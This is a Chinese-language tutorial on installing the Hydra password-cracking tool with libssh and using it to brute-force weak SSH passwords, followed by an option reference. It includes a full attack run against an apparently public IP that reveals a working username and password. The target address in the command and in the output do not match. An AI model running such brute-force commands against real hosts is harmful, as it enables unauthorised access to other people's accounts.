hydra 配合 libssh 扫描弱口令

[ERROR] Compiled without LIBSSH v0.4.x support, module is not available!

 
 

如何装libssh?方法如下:

 
 

方法一、支持apt-get的话

 
 

apt-get purge hydra

apt-get install cmake libssl-dev

 
 

方法二、编译安装

 
 

2.1 libssh

wget http://www.libssh.org/files/0.4/libssh-0.4.8.tar.gz

tar zxf libssh-0.4.8.tar.gz

cd libssh-0.4.8

mkdir build

cd build

cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON ..

make

make install

 
 

2.2 hydra

yum -y install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel libncurses-devel

 
 

wget http://www.thc.org/releases/hydra-7.4.2.tar.gz

tar zxvf hydra-7.4.2.tar.gz

cd hydra

./configure

make && make install

 
 

 
 

hydra: error while loading shared libraries: libssh.so.4: cannot open shared object file: No such file or directory

[root@hahahanew ~]# locate libssh.so.4

/usr/lib/libssh.so.4

/usr/lib/libssh.so.4.1.4

[root@hahahanew lib64]# ln -s /usr/lib/libssh.so.4.1.4 /usr/lib64/libssh.so.4

 
 

[root@hahahanew ~]# hydra -L u.lst -P p.lst -t 1 -vV -e ns 123.242.11.186 ssh

Hydra v7.4.2 (c)2012 by van Hauser/THC & David Maciejak – for legal purposes only

 
 

Hydra (http://www.thc.org/thc-hydra) starting at 2013-06-10 00:05:24

[DATA] 1 task, 1 server, 3 login tries (l:1/p:3), ~3 tries per task

[DATA] attacking service ssh on port 22

[VERBOSE] Resolving addresses … done

[ATTEMPT] target 123.222.11.186 – login “weihu” – pass “weihu” – 1 of 3 [child 0]

[ATTEMPT] target 123.222.11.186 – login “weihu” – pass “” – 2 of 3 [child 0]

[ATTEMPT] target 123.222.11.186 – login “weihu” – pass “wei123hu” – 3 of 3 [child 0]

[22][ssh] host: 123.222.11.186   login: weihu   password: wei123hu

[STATUS] attack finished for 123.222.11.186 (waiting for children to complete tests)

1 of 1 target successfully completed, 1 valid password found

Hydra (http://www.thc.org/thc-hydra) finished at 2013-06-10 00:05:27

 
 

也可以使用 -o 选项指定结果输出文件。

# hydra -L users.txt -P password.txt -t 1 -vV -e ns -o save.log 192.168.1.104 ssh

 
 

Syntax

 
 

# hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]

[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]

server service [OPT]

-R

继续从上一次进度接着破解 

 
 

-S

大写,采用SSL链接 

 
 

-s <PORT>

小写,可通过这个参数指定非默认端口 

 
 

-l <LOGIN>

指定破解的用户,对特定用户破解 

 
 

-L <FILE>

指定用户名字典 

 
 

-p <PASS>

小写,指定密码破解,少用,一般是采用密码字典 

 
 

-P <FILE>

大写,指定密码字典 

 
 

-e <ns>

可选选项,n:空密码试探,s:使用指定用户和密码试探 

 
 

-C <FILE>

使用冒号分割格式,例如登录名:密码来代替-L/-P参数 

 
 

-M <FILE>

指定目标列表文件一行一条 

 
 

-o <FILE>

指定结果输出文件 

 
 

-f

在使用-M参数以后,找到第一对登录名或者密码的时候中止破解 

 
 

-t <TASKS>

同时运行的线程数,默认为16 

 
 

-w <TIME>

设置最大超时的时间,单位秒,默认是30s 

 
 

-v / -V

显示详细过程 

 
 

server

目标ip 

 
 

service

指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等 

 
 

OPT

可选